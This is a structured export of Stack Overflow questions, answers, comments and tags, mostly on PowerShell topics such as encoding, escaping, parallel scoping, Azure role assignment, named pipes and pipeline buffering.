has body: You can not convert an arbitrary .NET string to bytes without choosing a specific character encoding that should be applied to it. The reasons is that different character encodings use different byte representations of characters, notably with respect to the number of bytes required to encode a single characters, which can even vary from character to character, as is the case with UTF-8. Whoever must interpret the resulting byte array as a string again must then use the same encoding for de-coding. If all the characters in a given string happen to fall into the 8-bit subrange of Unicode code points, i.e. the 256 characters occupying the Unicode code points from 0x0 to 0xFF (255) (in Unicode terms: U+0000 to U+00FF), you can use a shortcut, assuming that you want to use the Unicode code points as byte values: Use [byte[]] [char[]] $string (or [byte[]] $string.ToCharArray()), as also shown in js2010's answer: $string = 'AAAABBBB' # Convert TO a byte array. $byteArray = [byte[]] [char[]] $string # OR: # $byteArray = [byte[]] $string.ToCharArray() # Convert back FROM a byte array. [string]::new($byteArray) # [char[]] cast optional # OR, more PowerShell-idiomatically, but less efficiently: # -join [char[]] $byteArray Caveat: Any character outside that range, i.e. one with a code point of U+0100 (256) or above, e.g. € (EURO SIGN, U+20AC), breaks this approach, because its code point is by definition too large to fit into a [byte] instance: # -> ERROR: # Cannot convert value "€" to type "System.Byte". # Error: "Value was either too large or too small for an unsigned byte." [byte[]] [char[]] '€' This approach is tantamount to choosing the fixed-width, single-byte ISO-88591 character encoding for the byte representation, because the 8-bit subrange of Unicode coincides with this encoding. That is, the equivalents of the above operations are (note that in PowerShell (Core) 7 you can more simpy use [Text.Encoding]::Latin1 in lieu of [Text.Encoding]::GetEncoding(28591)): $string…
answers question: http://stackoverflow.com/q/79098718
score: 1
has comment: http://stackoverflow.com/comment/139476620
upvote count: 1

http://stackoverflow.com/comment/139486288
comment on: http://stackoverflow.com/a/79099422
type: Comment
score: 0
has text: @not2qubit: Yes, performance measurements are never an exact science in PowerShell, do to various forms of caching an JITting. Do you mean multiple runs with the default run count (`15`) each? In PowerShell 7, for me the subsequent runs are only about twice as fast as the first ones, whereas in Windows PowerShell there seems to be no speedup. Also, while the `.ToCharArray()` approach tends to be _slightly_ faster during most runs, every once in a while it appears to be up to twice as fast - no idea why.
type: AnswerComment

http://stackoverflow.com/a/79139329
score: 0
answers question: http://stackoverflow.com/q/79138856
has comment: http://stackoverflow.com/comment/139563367
has body: I need to install this with python 3.10 because the parent tool requires it. What could be the cause of this? fastchunking 0.0.3 has no support for Python 3.10. It was released long before Python 3.10. However, it currently supports Python :: 3.5 which is way too old. What parent package requires it as a dependency? You may consider using a maintained package with similar functionality.
type: Answer

http://stackoverflow.com/a/79193404
answers question: http://stackoverflow.com/q/79193243
has body: An alternative storing the CommandInfo in the value script block. function New-GlobalFunction { param( [Parameter(Mandatory)] [string] $ScriptPath, [Parameter(Mandatory)] [string] $FunctionName, [Parameter()] [switch] $Force ) $command = Get-Command $ScriptPath -ErrorAction Stop $null = $PSCmdlet.SessionState.InvokeProvider.Item.New( 'function:', "global:$FunctionName", 'Function', $command.ScriptBlock, $Force.IsPresent) }
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139646745
has comment: http://stackoverflow.com/comment/139646756
downvote count: 0
type: Answer

http://stackoverflow.com/q/79224838
has answer: http://stackoverflow.com/a/79225232
downvote count: 1
tagged with: escaping
tagged with: powershell
has body: I've been staring at this batch script command for days trying to wrap my head around what is being escaped/passed/ignored. powershell -Command "Start-Process powershell \"-ExecutionPolicy Bypass -NoProfile -NoExit -Command `\"cd \`\"%scriptFolderPath%`\"; & \`\".\%powershellScriptFileName%\`\"`\"\" -Verb RunAs" I have tried launching sections of the command to determine which parts are escaped and passed, but am confusing myself further unfortunately. Hopefully someone smarter than me can clarify what basic fundamental or concept I'm missing. I would like clarification for these portions: What is the purpose of the first backslash used? Is it due to the space that exists after the word powershell, or to escape the double quotes? For the second -Command instance, what does the cd command end up resolving as? Is the backtick escaping the backslash? Or is the backtick + backslash combination escaping the quotes?
answer count: 2
has answer: http://stackoverflow.com/a/79225274
type: UnansweredQuestion
upvote count: 1
favorite count: 0
score: 0
tagged with: batch-file
has title: How does escaping work and what is being escaped in this command?
linked to: http://stackoverflow.com/q/79216721
type: Question

http://stackoverflow.com/comment/139711575
comment on: http://stackoverflow.com/q/79223169
type: QuestionComment
type: Comment
has text: @Jahnavi Thank for clarifying. `azure/login@v2` calls `Connect-AzAccount`, right? But why doesn't `Get-AzAccessToken` works with the existing Azure PowerShell session, when `az account get-access-token` works with the existing Azure CLI session? Do you have a suggestion on how to fix this workflow, i.e. use the existing Azure PowerShell session with `Get-AzAccessToken`? Calling `azure/login@v2` again doesn't fix it, as the GitHub OIDC token is job-based. I could move the `Grant access to managed identity` step to its own job, but I would prefer not
score: 0

http://stackoverflow.com/q/79186427
has comment: http://stackoverflow.com/comment/139668148
type: UnansweredQuestion
has title: System Watchers never die
tagged with: windows
type: Question
tagged with: command-line
has body: I am trying to monitor multiple file locations and then push files that have changed to other locations based on a config text file. This works great! The file monitoring works, and the files get moved to their destinations, but if I restart the service, or if I am in PowerShell and running it through the command line it spawns new system watchers but never kills the existing ones. Only way they die is if I am in PowerShell and close out of it completely, but if I have the service running, they never seem to die until I restart the computer. I have used NSSM to create the PowerShell service and that of course works great. I have used NSSM hundreds of times. Bellow is the code. I am attempting to clean up my previous watchers at the beginning and end of the running process, but the file changes and it attempts to move the file multiple times... # Read config.txt file and process each line $configFile = "Y:\config.txt" $configLines = Get-Content -Path $configFile $filter = '*.*' $continueLoop = $true # Control variable for the while loop # List to store FileSystemWatchers and their SourceIdentifiers for cleanup $watchers = @() # Trap to handle Ctrl + C (PipelineStoppedException) trap [System.Management.Automation.PipelineStoppedException] { Write-Host "`nCtrl + C pressed. Exiting..." $continueLoop = $false break } function Cleanup-ExistingEvents { Write-Host "Cleaning up existing event subscribers and jobs..." # Step 1: Unregister existing event subscribers $existingSubscribers = Get-EventSubscriber -ErrorAction SilentlyContinue foreach ($subscriber in $existingSubscribers) { if ($subscriber.SourceIdentifier -like 'FileChanged_*') { Write-Host "Removing existing event with SourceIdentifier: $($subscriber.SourceIdentifier)" try { Unregister-Event -SourceIdentifier $subscriber.SourceIdentifier -Force -ErrorAction SilentlyContinue Remove-Event -SourceIdentifier $subscriber.SourceIdentifier -ErrorAction SilentlyContinue } catch { Write-Warning "Failed to remove event with…
answer count: 0
score: 0
tagged with: powershell

http://stackoverflow.com/comment/139537151
comment on: http://stackoverflow.com/q/79133521
score: 0
has text: Interesting, Mathias. It would be nice if MS *at a bare minimum* let users know this when PS ISE launches... but then, it's MS. No, the problem doesn't go away if you wait a second. And you were right; placing the script inside "D:\A Folder With Spaces\" allows double-clicking to work.
type: QuestionComment
type: Comment

git
tag name: git
tags question: http://stackoverflow.com/q/79214443
tags question: http://stackoverflow.com/q/79127406
type: Tag
tags question: http://stackoverflow.com/q/79149663
tags question: http://stackoverflow.com/q/79110614
tags question: http://stackoverflow.com/q/79187311
tags question: http://stackoverflow.com/q/79254833
tags question: http://stackoverflow.com/q/79343084
tags question: http://stackoverflow.com/q/79391395
tags question: http://stackoverflow.com/q/79354709
tags question: http://stackoverflow.com/q/79345034
tags question: http://stackoverflow.com/q/79319936
tags question: http://stackoverflow.com/q/79399751
tags question: http://stackoverflow.com/q/79451102
tags question: http://stackoverflow.com/q/79423035

http://stackoverflow.com/comment/139429318
type: Comment
has text: Just posted the output.
score: 0
comment on: http://stackoverflow.com/q/79074308
type: QuestionComment

http://stackoverflow.com/q/79168108
has body: I am using Powershell version 7.4.6 And I don't understand this behaviour. I have a regular expression $r = New-Object System.Text.RegularExpressions.Regex "a+" and when I run it ( 'a', 'aa', 'aaa', 'b' ) | ForEach-Object { $r.isMatch( $_ ) } I get the expected: True True True False but if I try to run it with -Parallel like: ( 'a', 'aa', 'aaa', 'b' ) | ForEach-Object -Parallel { $r.isMatch( $_ ) } I surprisingly get: InvalidOperation: You cannot call a method on a null-valued expression. InvalidOperation: You cannot call a method on a null-valued expression. InvalidOperation: You cannot call a method on a null-valued expression. InvalidOperation: You cannot call a method on a null-valued expression. Why
has comment: http://stackoverflow.com/comment/139634539
linked to: http://stackoverflow.com/q/73910545
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79168128
answer count: 1
type: AnsweredQuestion
tagged with: null
has answer: http://stackoverflow.com/a/79168128
downvote count: 0
has title: Why am I getting "InvalidOperation: You cannot call a method on a null-valued expression." only when using `-Parallel`?
upvote count: 1
has comment: http://stackoverflow.com/comment/139600624
favorite count: 0
duplicate of: http://stackoverflow.com/q/73910545
score: 1
type: Question

http://stackoverflow.com/a/79090339
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139458248
downvote count: 0
has comment: http://stackoverflow.com/comment/139458200
type: Answer
has comment: http://stackoverflow.com/comment/139458370
has body: You're using Select-Object in this case to create new objects having a property name UserPrincipalName. If you want to output strings instead, you can use ForEach-Object to expand on each .UserPrincipalName value: Get-AzureADGroup -ObjectId [REDACTED] | Get-AzureADGroupMember -All $True | ForEach-Object { $_.UserPrincipalName.ToLower() } | Sort-Object
answers question: http://stackoverflow.com/q/79090297
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/79090297

http://stackoverflow.com/comment/139542961
type: Comment
score: 0
has text: Have you added window handling, positioning etc?
comment on: http://stackoverflow.com/q/79136967
type: QuestionComment

http://stackoverflow.com/a/79193803
has comment: http://stackoverflow.com/comment/139647876
downvote count: 0
answers question: http://stackoverflow.com/q/79166949
type: Answer
score: 1
has body: Probably utf16le (unicode) file with no bom (the first 2 bytes gone). Notepad can still open it. '<tag/>' | set-content file.xml -encoding unicode (get-content file.xml -Encoding Byte) | select -Skip 2 | set-content file.xml -Encoding Byte [xml]$xml = get-content file.xml # -encoding unicode Cannot convert value "System.Object[]" to type "System.Xml.XmlDocument". Error: "Name cannot begin with the '.' character, hexadecimal value 0x00. Line 1, position 2." At line:1 char:1 + [xml]$xml = cat file.xml + ~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : MetadataError: (:) [], ArgumentTransformationMetadataException + FullyQualifiedErrorId : RuntimeException
upvote count: 1

http://stackoverflow.com/comment/139460058
type: AnswerComment
comment on: http://stackoverflow.com/a/79091121
type: Comment
score: 0
has text: Thanks, it worked but printed very few lines. Matching won't always be CONSTANT VARCHAR2. It can be CONSTANT NUMBER, CONSTANT DATE, CONSTANT VARCHAR, CONSTANT PLS_INTEGER etc. So how to expand the match condition?

http://stackoverflow.com/comment/139601087
has text: The version is 5.1.19041.5007, in the query the " and \ are not escaped, both are part of the pattern so I need to scape them in order to pass them to the aws-cli query. something like: aws logs start-query --log-group-name "logGroup" --start-time 1730990829 --end-time 1731016029 --query-string "fields @log, @timestamp, @message | filter @message like `"`\`"httpCode`\`":4`" | limit 10"
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79168232

azure-runbook
tag name: azure-runbook
type: Tag
tags question: http://stackoverflow.com/q/79188856
tags question: http://stackoverflow.com/q/79229813
tags question: http://stackoverflow.com/q/79362037
tags question: http://stackoverflow.com/q/79546489
tags question: http://stackoverflow.com/q/79523633
tags question: http://stackoverflow.com/q/79530659

http://stackoverflow.com/q/79112116
tagged with: replace
has comment: http://stackoverflow.com/comment/139497729
answer count: 2
type: Question
tagged with: backslash
tagged with: powershell
linked to: http://stackoverflow.com/q/54495023
has comment: http://stackoverflow.com/comment/139497850
linked to: http://stackoverflow.com/q/40682650
upvote count: 2
linked to: http://stackoverflow.com/q/37001694
downvote count: 1
has answer: http://stackoverflow.com/a/79112227
has comment: http://stackoverflow.com/comment/139497762
has title: why does string -replace operator to duplicate backslashes (as neeeded for wmic input) result in 4 backslashes
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/64767740
score: 1
favorite count: 0
has body: One might need to replace each backslash in a string, say a file path, with double-backslash. Eg, wmic requires this (eg: https://stackoverflow.com/a/50878476/4582204). So one might try this code 'foo\bar' -replace '\\', '\\\\' however it produces the following with 4 backslashes: foo\\\\bar instead of the desired result with 2 backslashes: foo\\bar Why? EDIT: was closed as a duplicate of How to handle backslash character in PowerShell -replace string operations? Not really. The reason why -replace '\\', '\\' looks like it does nothing is because of 2 things: the first term IS a regex and escaped AND the second term is NOT a regex and is not escaped. That page handles the first issue in the first term, but does not mention the second issue--that the second term is not escaped. So that page does not in fact have a complete answer to this precise flavor of the question.
linked to: http://stackoverflow.com/q/50877866
tagged with: regex
has comment: http://stackoverflow.com/comment/139498049
has answer: http://stackoverflow.com/a/79112133

http://stackoverflow.com/comment/139472225
type: Comment
score: 0
has text: $SourceCloudTable = (Get-AzStorageTable -Name $sourcetablename -Context $SourceCtx).CloudTable on ths line getting this erro "An error occurred while sending the request." while line number 38 $SourceCloudTableContent = Get-AzTableRow -Table $SourceCloudTable and $_ | Update-AzTableRow -Table $DestinationCloudTableUpdate throwing Cannot bind argument to parameter 'Table' because it is null now getting this error sharing you my script i modify
comment on: http://stackoverflow.com/a/79097057
type: AnswerComment

http://stackoverflow.com/comment/139699254
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79220211
has text: @SantiagoSquarzon I'm afraid that is way beyond my skills. Any idea where/how to get started?
score: 0

http://stackoverflow.com/a/79222902
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79222783
upvote count: 2
accepted answer of: http://stackoverflow.com/q/79222783
downvote count: 0
type: Answer
score: 2
has body: Note that, New-AzRoleAssignment cmdlet is used for Azure RBAC roles but "Directory Readers" is Microsoft Entra Role. Initially, I too got same error when I ran your command in my environment like this: New-AzRoleAssignment -ObjectId 'msiID' -RoleDefinitionName "Directory Reader" -Scope '/' Response: To resolve the error, switch to Microsoft Graph PowerShell module by running below commands to assign "Directory Readers" role to managed identity service principal: Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory" $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -Filter "DisplayName eq 'Directory Readers'" $managedIdentity = Get-MgServicePrincipal -Filter "DisplayName eq 'msiname'" New-MgRoleManagementDirectoryRoleAssignment -DirectoryScopeId '/' -RoleDefinitionId $roleDefinition.Id -PrincipalId $managedIdentity.Id Response: To confirm that, I checked the same in Portal where "Directory Readers" role assigned successfully to managed identity service principal like this:

http://stackoverflow.com/comment/139606455
comment on: http://stackoverflow.com/a/79170074
type: AnswerComment
has text: Great!! thank you so much mklement0 this is what I was looking, now I can do the query, thank you!!
type: Comment
score: 0

http://stackoverflow.com/comment/139699843
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79222400
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).
type: QuestionComment

http://stackoverflow.com/q/79164514
has comment: http://stackoverflow.com/comment/139598336
has comment: http://stackoverflow.com/comment/139598841
tagged with: keyboard-events
answer count: 0
has comment: http://stackoverflow.com/comment/139594178
has title: Unable to Simulate Ctrl+Alt+Home to Activate Remote Desktop Connection Bar in PowerShell and C#
tagged with: powershell
tagged with: remote-desktop
has body: I'm attempting to automate the activation of the Azure Remote Desktop Connection bar by simulating the keyboard shortcut Ctrl + Alt + Home using PowerShell and C# code. To accomplish this, I use the keybd_event function from the user32.dll library to simulate key presses. The script I’ve created works well for other combinations like Ctrl + A, Ctrl + V, and even Ctrl + Alt + Tab. However, when trying to simulate Ctrl + Alt + Home (a Remote Desktop-specific shortcut for activating the connection bar), it doesn't work. I’ve confirmed that this isn’t an issue with the script or the individual key calls, as all other shortcut simulations function as expected. Here’s the relevant code snippet: # Simulate Ctrl + Alt + Home [KeyboardSend]::KeyDown([System.Windows.Forms.Keys]::Control) [KeyboardSend]::KeyDown([System.Windows.Forms.Keys]::LMenu) # Alt key [KeyboardSend]::KeyDown([System.Windows.Forms.Keys]::Home) # Home key down Start-Sleep -Milliseconds 100 # Hold keys briefly [KeyboardSend]::KeyUp([System.Windows.Forms.Keys]::Home) # Home key up [KeyboardSend]::KeyUp([System.Windows.Forms.Keys]::LMenu) # Alt key up [KeyboardSend]::KeyUp([System.Windows.Forms.Keys]::Control) # Ctrl key up I’m not creating a new shortcut but rather using PowerShell to automate this particular keyboard sequence. Since the script works for other combinations, I suspect there may be restrictions when trying to simulate Remote Desktop-specific shortcuts. My question is: Are there known restrictions when simulating Remote Desktop shortcuts (like Ctrl + Alt + Home) in PowerShell or other languages?
tagged with: c#
score: 0
has comment: http://stackoverflow.com/comment/139596311
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139597300
has comment: http://stackoverflow.com/comment/139598441
type: Question

http://stackoverflow.com/comment/139559781
type: Comment
has text: @nutt318 got it, you will also probably have issues running `Search-PIIInFile` in the parallel context, you will need to pass-in this function to the parallel scope, I'll add that to my answer too
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79146113

http://stackoverflow.com/comment/139726486
type: QuestionComment
comment on: http://stackoverflow.com/q/79237732
type: Comment
has text: Remove `[Application]`, end try again.
score: 0

http://stackoverflow.com/comment/139449988
comment on: http://stackoverflow.com/q/79085917
type: QuestionComment
type: Comment
score: 0
has text: The sad reality in Windows PowerShell and in PowerShell (Core) 7 _up to v7.2.x_ is that an _extra, manual_ layer of ``\``-escaping of embedded `"` characters is required in arguments passed to _external programs_. This is fixed in PowerShell 7 _v7.3+_, with selective exceptions on Windows. See the linked duplicate for details.

http://stackoverflow.com/comment/139653311
type: QuestionComment
comment on: http://stackoverflow.com/q/79196973
type: Comment
score: 0
has text: What produced your CSV file and how? Was this file originally in a different encoding and converted to UTF-8 afterwards?

http://stackoverflow.com/q/79226220
has comment: http://stackoverflow.com/comment/139729114
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139755894
score: 0
has title: Failure in VS Code Pester extension when refreshing the tests
type: Question
tagged with: pester
answer count: 0
tagged with: powershell
has body: I am using VS Code for my PowerShell development. I have version 5.1 of PowerShell and version 1.95.3 of VS Code. I have the Pester extension installed in VS Code (version v2023.7.7). Until recently, I've had no issue with this extension but in the last few days whenever I try to refresh my Pester tests in VS Code I get the popup with the error message Cannot read properties of undefined (reading 'controllerId'). When I check the logs in the extension host output of VS Code I can see the error message 2024-11-26 09:57:48.939 [error] Error: [ExtensionListenerError] Extension 'pspester.pester-test' FAILED to handle event: TypeError: Cannot read properties of undefined (reading 'testFilePatterns') at mh.value (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:156:35379) at D.B (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:746) at D.C (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:816) at D.fire (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:1033) at mh.value (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:137:104121) at D.B (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:746) at D.fire (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:29:964) at Sw.acceptDocumentsAndEditorsDelta (file:///c:/Users/mchaleg/AppData/Local/Programs/Microsoft%20VS%20Code/resources/app/out/vs/workbench/api/node/extensionHostProcess.js:121:11444) at Sw.$acceptDocumentsAndEditorsDelta (…

class
tags question: http://stackoverflow.com/q/79118064
tag name: class
tags question: http://stackoverflow.com/q/79167030
tags question: http://stackoverflow.com/q/79078591
type: Tag
tags question: http://stackoverflow.com/q/79531052

data-manipulation
type: Tag
tag name: data-manipulation
tags question: http://stackoverflow.com/q/79078234

http://stackoverflow.com/comment/139536911
score: 1
comment on: http://stackoverflow.com/q/79133582
type: QuestionComment
type: Comment
has text: Can you tell us why you want to install a module you can't find any information about online? What's the end game here?

http://stackoverflow.com/comment/139615059
type: QuestionComment
comment on: http://stackoverflow.com/q/79171856
type: Comment
score: 1
has text: The documentation isn’t an extensive list of file extensions.

http://stackoverflow.com/a/79228955
has comment: http://stackoverflow.com/comment/139722887
has comment: http://stackoverflow.com/comment/139722849
accepted answer of: http://stackoverflow.com/q/79220211
has comment: http://stackoverflow.com/comment/139726265
has body: The closest I could think is to use NamedPipeServerStream and NamedPipeClientStream as suggested in this answer, however the difference here is that your server is started on a different thread and writes to your console using PSConsoleReadLine.Insert, this provides similar functionality as what you have in the Linux word. Here you can see how to use these functions: You can also pipe to the writing function, so something like this can work: PS \> Get-Content foo.txt | pipemsg theDestinationPipe You should note using PSConsoleReadLine.Insert like this is a bit wonky and outside the supported realm. Lastly, the Start-NamedPipeServer function outputs an object that can be used as argument to Remove-NamedPipeServer. Once you're done using your server you can dispose it like this: # create $server = Start-NamedPipeServer myServer # dispose $server | Remove-NamedPipeServer Here is the function definitions: function Start-NamedPipeServer { [Alias('pipeserver')] param( [Parameter(Mandatory)] [string] $Name ) if ([System.IO.File]::Exists("\\.\pipe\$Name")) { $err = [System.Management.Automation.ErrorRecord]::new( [System.IO.IOException]::new("A pipe already exists with name '$Name'."), 'PipeExists', [System.Management.Automation.ErrorCategory]::OpenError, $null) $PSCmdlet.ThrowTerminatingError($err) } $script = { while (-not $token.IsCancellationRequested) { try { $pipe = [System.IO.Pipes.NamedPipeServerStream]::new( $Name, [System.IO.Pipes.PipeDirection]::InOut, 1, [System.IO.Pipes.PipeTransmissionMode]::Byte, [System.IO.Pipes.PipeOptions]::Asynchronous) $task = $pipe.WaitForConnectionAsync($token) while (-not $task.AsyncWaitHandle.WaitOne(200)) { } $null = $task.GetAwaiter().GetResult() $sr = [System.IO.StreamReader]::new($pipe) while ($null -ne ($msg = $sr.ReadLine())) { [Microsoft.PowerShell.PSConsoleReadLine]::Insert($msg + "`n") } } catch [System.OperationCanceledException] { # ignore } finally { if ($pipe) { $pipe.Dispose() } if ($sr) { $sr.Dispose() } } } } $src = […
has comment: http://stackoverflow.com/comment/139722903
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139726257
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139722914
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79220211
has comment: http://stackoverflow.com/comment/139725948

http://stackoverflow.com/comment/139437219
type: Comment
score: 1
has text: I am trying to get something to work, similar to the Deserialize Method, and thanks to your help, I got what I wanted. I changed the return type to [object] and it works as intended.
comment on: http://stackoverflow.com/q/79078591
type: QuestionComment

http://stackoverflow.com/a/79076026
answers question: http://stackoverflow.com/q/79075877
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79075877
downvote count: 0
type: Answer
has body: Presumably something like this should help, it's unclear if you just want 2 records as-in your sample or just all records where ESSID is wifiguest or wifitrusted but this should be a start. $json = Get-Content $FileName -Raw | ConvertFrom-Json $json.aps | ForEach-Object { foreach ($item in $_.radio_bssids) { foreach ($bssid in $item.bssids) { if ($bssid.essid -in 'wifiguest', 'wifitrusted') { [pscustomobject]@{ WAP = $_.name ESSID = $bssid.essid MACAddr = $bssid.macaddr Index = $item.index } } } } } Using the sample Json provided in question the output from the above is: WAP ESSID MACAddr Index --- ----- ------- ----- **WAP01** wifiguest **xx:xx:xx:xx:xx:xx** 0 **WAP01** wifitrusted **xx:xx:xx:xx:xx:xx** 0 **WAP01** wifiguest **xx:xx:xx:xx:xx:xx** 1 **WAP01** wifitrusted **xx:xx:xx:xx:xx:xx** 1 **WAP02** wifiguest **xx:xx:xx:xx:xx:xx** 0 **WAP02** wifitrusted **xx:xx:xx:xx:xx:xx** 0 **WAP02** wifiguest **xx:xx:xx:xx:xx:xx** 1 **WAP02** wifitrusted **xx:xx:xx:xx:xx:xx** 1
has comment: http://stackoverflow.com/comment/139431982
upvote count: 1
score: 1

http://stackoverflow.com/q/79115375
has comment: http://stackoverflow.com/comment/139504118
score: 0
has comment: http://stackoverflow.com/comment/139504293
type: Question
has comment: http://stackoverflow.com/comment/139504417
linked to: http://stackoverflow.com/q/75030298
has body: I have a very long script that runs on a local machine and works as expected. I am working on moving it to a pipeline. I encountered those errors (when I removed them all worked as expected). I will start with the code and afterward the errors: The code is deleting some folders and except others and it's not located at the beginning of the script write-host "Deleting an old content from $DestinationFolder" Write-Log -logfile $loglocation -Message "Deleting an old content from $DestinationFolder" # create a regex of the folders to exclude $Exclude = 'Do_not_copy\SI\Tools', 'Do_not_copy\AutomaticTesterTests\Tests\Editing\GUI' # this can be an array of items to exclude or a single item # each item will be Regex Escaped and joined together with the OR symbol '|' $notThese = ($Exclude | ForEach-Object { [Regex]::Escape($_) }) -join '|' # the array of folder names (not full paths) to delete $justThese = 'Tools', 'Support', 'Management Console', 'Installer', 'GUI', 'Filer', 'Documentation' (Get-ChildItem -Path $DestinationFolder -Directory -Recurse -Include $justThese -ErrorAction SilentlyContinue).FullName | Where-Object { $_ -notmatch $notThese } | Sort-Object Length -Descending | Remove-Item -Recurse -Force write-host "Extract $Latestpackage to $DestinationFolder" Write-Log -logfile $loglocation -Message "Extract $Latestpackage to $DestinationFolder" Try { $zip = [System.IO.Compression.ZipFile]::ExtractToDirectory((Convert-Path $Latestpackage.PSPath), $DestinationFolder) } Catch { Write-Host "Unable to extract $Latestpackage to $DestinationFolder" exit } The errors: 2024-10-22T09:52:05.8787706Z E:\Agt1\Default\06\_w\r25\a\AgileQA\AutomaticScript\GetPatches.ps1 : At 2024-10-22T09:52:05.8788687Z E:\Agt1\Default\06\_w\r25\a\AgileQA\AutomaticScript\PatchVerification.ps1:4823 char:88 2024-10-22T09:52:05.8789650Z + ... item will be Regex Escaped and joined together with the OR symbol '|' 2024-10-22T09:52:05.8790219Z + ~ 2024-10-22T09:52:05.8790759Z Expressions are only allowe…
has comment: http://stackoverflow.com/comment/139504167
has comment: http://stackoverflow.com/comment/139504409
has comment: http://stackoverflow.com/comment/139504157
has comment: http://stackoverflow.com/comment/139504254
answer count: 0
has title: Script Issue: "Expressions are only allowed as the first element of a pipeline"
has comment: http://stackoverflow.com/comment/139503610
has comment: http://stackoverflow.com/comment/139504316
tagged with: powershell
has comment: http://stackoverflow.com/comment/139504390
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139503970

registry
tags question: http://stackoverflow.com/q/79111683
tags question: http://stackoverflow.com/q/79074595
tags question: http://stackoverflow.com/q/79084826
type: Tag
tags question: http://stackoverflow.com/q/79234274
tag name: registry
tags question: http://stackoverflow.com/q/79235723
tags question: http://stackoverflow.com/q/79334624
tags question: http://stackoverflow.com/q/79274648
tags question: http://stackoverflow.com/q/79413988
tags question: http://stackoverflow.com/q/79547208
tags question: http://stackoverflow.com/q/79491037
tags question: http://stackoverflow.com/q/79539932

http://stackoverflow.com/comment/139477381
has text: @histrueandfalse Thanks! Sorry haven't used stackoverflow since before AI started becoming much of a thing. I edited my post. Appreciate the heads up.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100678

http://stackoverflow.com/comment/139528345
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79128851
has text: `Get-DisplayResolution` (see: https://superuser.com/a/1718068/421114 ). for multi-monitor see: [Use PowerShell to Discover Multi-Monitor Information](https://devblogs.microsoft.com/scripting/use-powershell-to-discover-multi-monitor-information/))
type: QuestionComment

http://stackoverflow.com/comment/139546143
type: AnswerComment
comment on: http://stackoverflow.com/a/79136206
type: Comment
has text: ho, tha's the `Invoke-RestMethod` that fails ?
score: 0

http://stackoverflow.com/a/79161887
type: Answer
has body: To move files from one folder to the another, it is advised to use mv. mv [source_path] [destination_path]
score: 0
answers question: http://stackoverflow.com/q/79161849

http://stackoverflow.com/comment/139659177
type: QuestionComment
comment on: http://stackoverflow.com/q/79200338
score: 2
type: Comment
has text: Where does that custom tab come from? I don't have. Using Win10

http://stackoverflow.com/q/79172648
has title: Powershell pipeline accumulating buffer
linked to: http://stackoverflow.com/q/60778101
has comment: http://stackoverflow.com/comment/139609688
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/139609594
tagged with: asynchronous
tagged with: pipeline
has comment: http://stackoverflow.com/comment/139609789
has answer: http://stackoverflow.com/a/79173864
tagged with: powershell
has comment: http://stackoverflow.com/comment/139610109
accepted answer: http://stackoverflow.com/a/79173864
type: AnsweredQuestion
score: 3
answer count: 2
has comment: http://stackoverflow.com/comment/139609766
has body: Take basic pipeline: CommandA | CommandB CommandA is slow++ while CommandB requires user input to proceed. When CommandB proceeds to the next pipeline item it experiences considerable delay while CommandA does it's thing. The whole pipeline seems proceed on a one at a time basis. I'd like to do something like: CommandA | PrefetchPipeline -size 10 | CommandB So that PrefetchPipeline buffers up to 10 items from CommandA but immediately gives the next item to CommandB whenever possible. There should be no delay for the first item but then if CommandB takes a lot of time to complete it's process, items should still be fetched in the background from CommandA. Is this possible in powershell? Clarification: 1..100 | foreach-object { Start-Sleep 3; $_ } | MagicFunction | foreach-object { write-host $_; [void]$Host.UI.RawUI.ReadKey() } Can one write a MagicFunction that accumulates stuff from the left and sends it to the right as soon as possible. So that if you wait 30 sec. without pressing a key then you get 10 items in quick succession (i.e. without waiting 3s for each) but without introducing additional delays (i.e. we don't want the MagicFunction to just wait until it has X number of items and then release them all at once).
has comment: http://stackoverflow.com/comment/139609670
has comment: http://stackoverflow.com/comment/139609863
has answer: http://stackoverflow.com/a/79173063
favorite count: 0
linked to: http://stackoverflow.com/q/45948580
upvote count: 3
possible better answer: http://stackoverflow.com/a/79173063
has comment: http://stackoverflow.com/comment/139609756

http://stackoverflow.com/comment/139547093
comment on: http://stackoverflow.com/a/79136043
has text: seems to only get 10 emails and they are not deleted from the deleted folder . I hade 500 deleted emails in the deleted folder. When i ran the script it still had 500. Also i ran the script about 30 times
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139717107
